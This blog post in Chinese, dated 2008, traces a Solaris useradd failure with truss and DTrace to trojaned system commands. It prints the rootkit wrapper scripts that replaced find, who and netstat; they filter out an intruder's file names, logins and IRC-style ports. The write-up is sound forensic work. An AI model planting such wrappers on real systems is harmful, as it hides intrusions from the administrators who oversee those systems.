1710: resolvepath("/usr/sbin/useradd", "/usr/sbin/useradd", 1023) = 17
1710: sysconfig(_CONFIG_PAGESIZE) = 4096
1710: xstat(2, "/usr/sbin/useradd", 0x08047A88) = 0
1710: open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
.......
.......
"
喔.这个文件看起来至少有10000行.
通过几个小时的艰苦工作,我们找到了一点相关的内容, useradd 会通过 fork()调用产生若干的子进程, 其中一个子进程会意外的退出.这时候的记录信息显示如下:
Received signal #18, SIGCLD [caught]
1749: siginfo: SIGCLD CLD_EXITED pid=1755 status=0x0001
当我们比较这个产生错误的记录信息和正常的“useradd”记录信息的时候.我们发现 SIGCLD 没有出现在正常的记录中.在这个信号之后,子进程会退出并让整个进程错误终止.也许这就是一个真正的错误原因? 那么是谁发送了这个CLD信号给我们的useradd呢?
很幸运的是,Solaris 10里面提供了一个强大的系统内核跟踪工具 – Dtrace.它会帮助我们进入Solaris 内核来揭示内部的具体运作.于是我们采用下面的dtrace脚本来看看是谁发送了这个CLD信号. 脚本是下面这样的:
#!/usr/sbin/dtrace –qs
proc:::signal-send
/args[2] == SIGCHLD/
{
printf("SIGCLD was sent by %s pid=%d \n", args[1]->pr_fname,args[1]->pr_pid);
}
当某个进程发送SIGCLD 信号的时候我们会抓住他. 脚本里面的 pr_fname就是进程的名字,而 pid 就是进程的编号.那么,我们现在启动这个脚本并让他在后台等待. 然后我们再次运行”useradd”命令.
这个脚本很有用, Dtrace 马上告诉我们这个发送SIGCLD信号的进程名字和ID号码.
"SIGCLD was send by find pid 1499"
难以相信, 是最常用的UNIX命令find发送了这个信号. 为什么他要发送这个信号来关闭我们的子进程呢? 我们输入"which find" 来看看find命令在什么地方. 它位于"/usr/bin/find".
那么我们到"/usr/bin"目录下去,作些调查研究,看看他为什么会这么做.
这个可怜的"find" 程序就在这个目录下,看起来没什么特别.
我们用 "file /usr/bin/find" 来看看他的具体格式. 结果显示这是一个可执行的脚本文件. 这一点很奇怪,因为通常, “find” 是一个2进制可执行文件.所以我们采用 "vi /usr/bin/find" 来看看里面的内容.
在"find"文件内部, 我们看见了下面的脚本内容:
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/find "$@" | grep -v grep | grep -v System | grep -v /usr/bin/find | grep -v EWG | grep -v syscfg | grep -v .elite | grep -v cj | grep -v glftpd | grep -v S12system | grep -v S32networks | grep -v S09init | grep -v lost+found
fi
看起来这个find 会先去看看是否 /usr/sbin/i86/ps 目录存在, 如果存在,他就会调用这个目录下面真正的”find”程序, 然后在find执行的结果中,过滤掉包含下面这些关键字的信息: " EWG, glftpd, …"
我们知道find是一个会经常用到的程序,他不应该有任何的隐瞒或者过滤内容.
那么为什么要过滤掉这些关键字呢? “find”想要隐藏些什么?
我们用 "ls -tral /usr/bin" 在这个目录下看看”find“ 的修改日期,看起来好像:
-rwxrwxrwx 1 root other 177 7月 30日 17:33 w
-rwxrwxrwx 1 root other 181 7月 30日 17:34 who
-rwxrwxrwx 1 root other 87 7月 30日 17:36 uptime
-rwxrwxrwx 1 root other 239 7月 30日 17:37 ptree
-rwxrwxrwx 1 root other 311 7月 30日 17:41 netstat
-rwxrwxrwx 1 root other 198 7月 30日 17:43 last
-rwxrwxrwx 1 root other 360 7月 30日 18:14 ls
-rwxrwxrwx 1 root other 314 7月 30日 18:17 cat
-rwxrwxrwx 1 root other 219 7月 30日 18:18 du
-rwxrwxrwx 1 root other 222 7月 30日 18:19 ps
-rwsr-xr-x 1 root root 6696 8月 20日 12:30 EWG
-rwxr-xr-x 1 root root 300 1月 23日 17:29 find
嗯,那么"find" 还有 "who" ,"netstat", "du", "cat" 都是在最近被修改过.
那么我们检查一下这些文件都在干什么.
"file /usr/bin/who" 的结果告诉我们这也是一个脚本程序,那么它在作什么呢?
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB
| grep -v cjb | grep -v daemon | grep -v sys
fi
看起来某些人想要在登陆的时候不被别人发现.
"file /usr/bin/netstat"的结果也显示这是一个脚本,而不是正常的二进制文件,他的内容是:
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System | grep -v /usr/bin/netstat | grep -v EWG | grep -v gl
ftpd | grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668 | grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969 | grep -v 98
fi
嗯,这就有意思了, 看起来某些人想要隐藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 这些端口通信的时候不被别人发现.
为了解决问题 ,我们恢复了/usr/sbin/i86/find 二进制文件到/usr/bin目录下,替换了这个错误的脚本文件 “find”, 这时候就可以使用”useradd” 创建一个正常的 用户目录了.
同时,我们通知了IT 安全部门, 进行下一步调查和跟踪.
Posted at 05:07下午 四月 21, 2008 by Wynne in General | 评论[0]